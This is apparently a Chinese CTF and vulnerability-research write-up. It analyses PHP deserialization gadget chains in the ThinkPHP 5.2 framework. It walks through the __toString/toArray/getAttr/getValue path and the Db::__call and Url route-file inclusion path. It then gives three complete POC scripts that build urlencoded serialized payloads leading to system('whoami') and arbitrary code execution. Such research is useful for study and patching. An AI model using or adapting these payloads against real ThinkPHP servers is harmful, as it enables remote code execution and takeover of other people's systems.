这里直接使用N1CTF2019 sql manager的源码
我还是直接在sublime中运行think文件进行调试
5.2保留了5.1利用链中的__destruct()
和__toString()
不过到think/Request.php
这里已经没有了__call()
需要重找一条新链
跟到think/model/concern/Conversion.php
中的__toString()
toArray
中:
调用了
think/model/concern/Attribute
中的getAttr()
跟到getAttr()
:
调用
getValue()
,而getValue()
中的$value = $closure($value, $this->data);
若其中参数都是可控的,则可任意代码执行,接下来逐一分析各个参数
$closure
由$closure = $this->withAttr[$fieldName];
而来
且$fieldName = $this->getRealFieldName($name);
$name
为getAttr($name)
传入的也就是最开始toArray()
中的$data
数组中的键值
$data = array_merge($this->data, $this->relation);
可控
$this->data
为Attribute
类中的private $data
这里注意键名不可为数字如['123' => "233"]
or["123" => "233"]
因为这样反序列化时会当成a:1:{i:123;s:3:"233";}
,$data
就会变为
array(1) {
[0]=>
string(3) "233"
}
之后控制
xxxxxxxxxx
trait Attribute{
private $data = ['test' => "whoami"]; //此处2个键名要相同,值为$value
private $withAttr = ['test' => "system"]; //此处2个键名要相同,值为$closure
}
即可
thinkphp v5.2.x 反序列化利用链挖掘这篇文章中提到了另一种和利用链I类似的方法,只不过不是直接执行符合条件的函数,而是通过tp自带的SerializableClosure
调用
\Opis\Closure
可用于序列化匿名函数,使得匿名函数同样可以进行序列化操作。这意味着我们可以序列化一个匿名函数,然后交由上述的$closure($value, $this->data)
调用执行
这里用到了
__invoke()
:将对象当作函数来使用时,会自动调用该方法
func_get_args()
:返回一个包含函数参数列表的数组
xxxxxxxxxx
<?php
$func = function(){phpinfo();}; //$这里func为一个对象
call_user_func_array($func,[]);
这样是可以成功执行phpinfo()
的
可以看到这里的
$closure
就是我们传入的值
遵循5.1的套路,还是利用__call()
,
不过这里有条件:需要上传一个route.php
结尾的文件且文件位置已知
开头说到think/Request.php
这里已经没有__call()
了,需要重找一条新链
这里是利用vendor/topthink/framework/src/think/Db.php
中的__call()
发现可以控制new一个新类
think\Url
中的__construct()
正好可以利用
getRuntimePath()
也可控
这里我们配置
xxxxxxxxxx
class App{
protected $runtimePath;
public function __construct(string $rootPath = ''){
$this->rootPath = $rootPath;
$this->runtimePath = "/tmp/test/test";
$this->route = new \think\route\RuleName();
}
}
存在/tmp/test/testroute.php
文件,这样即可import这个文件,达成代码执行
x<?php
namespace think\process\pipes{
class Windows{
public function __construct($s){
$this->files = array($s);
}
}
}
namespace think\model\concern{
trait Conversion{
}
trait Attribute{
private $data = ['test' => "whoami"]; //此处2个键名要相同,值为$value
private $withAttr = ['test' => "system"]; //此处2个键名要相同,值为$closure
}
}
namespace think{
class Model{
use model\concern\Conversion;
use model\concern\Attribute;
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace{
$string = new think\model\Pivot();
$payload = new think\process\pipes\Windows($string);
echo urlencode(serialize($payload));
// echo serialize($payload);
}
这里须在Model
中改$data
和$withAttr
,POC I中在Attribute
或Model
中都行
xxxxxxxxxx
<?php
namespace think\process\pipes{
class Windows{
public function __construct($s){
$this->files = array($s);
}
}
}
namespace think\model\concern{
trait Conversion{
}
trait Attribute{
}
}
namespace think{
class Model{
use model\concern\Conversion;
use model\concern\Attribute;
private $data = ['test' => ""];
private $withAttr = [];
function __construct($closure){
$this->withAttr = ['test' => $closure ];
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace{
require __DIR__ . '/vendor/autoload.php';
use Opis\Closure\SerializableClosure;
$closure = new SerializableClosure(function(){system("whoami");});
$string = new think\model\Pivot($closure);
$payload = new think\process\pipes\Windows($string);
echo urlencode(serialize($payload));
}
xxxxxxxxxx
<?php
namespace think\process\pipes{
class Windows{
public function __construct($s){
$this->files = array($s);
}
}
}
namespace think\model\concern{
trait Conversion{
protected $append = array("key" => array('name' => 'name_value'));
}
trait Attribute{
private $data = [];
function __construct(){
$this->data = array("key" => new \think\Db()); //key 与上面$append那个key保持相同
}
}
}
namespace think{
abstract class Model{
use model\concern\Conversion;
use model\concern\Attribute;
}
class App{
protected $runtimePath;
public function __construct(string $rootPath = ''){
$this->rootPath = $rootPath;
$this->runtimePath = "/tmp/test/test";
$this->route = new \think\route\RuleName();
}
}
class Db{
protected $connection;
protected $config = ['query' => '\think\Url'];
function __construct(){
$this->connection = new App();
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace{
require __DIR__ . '/vendor/autoload.php';
$string = new think\model\Pivot();
$payload = new think\process\pipes\Windows($string);
echo urlencode(serialize($payload));
}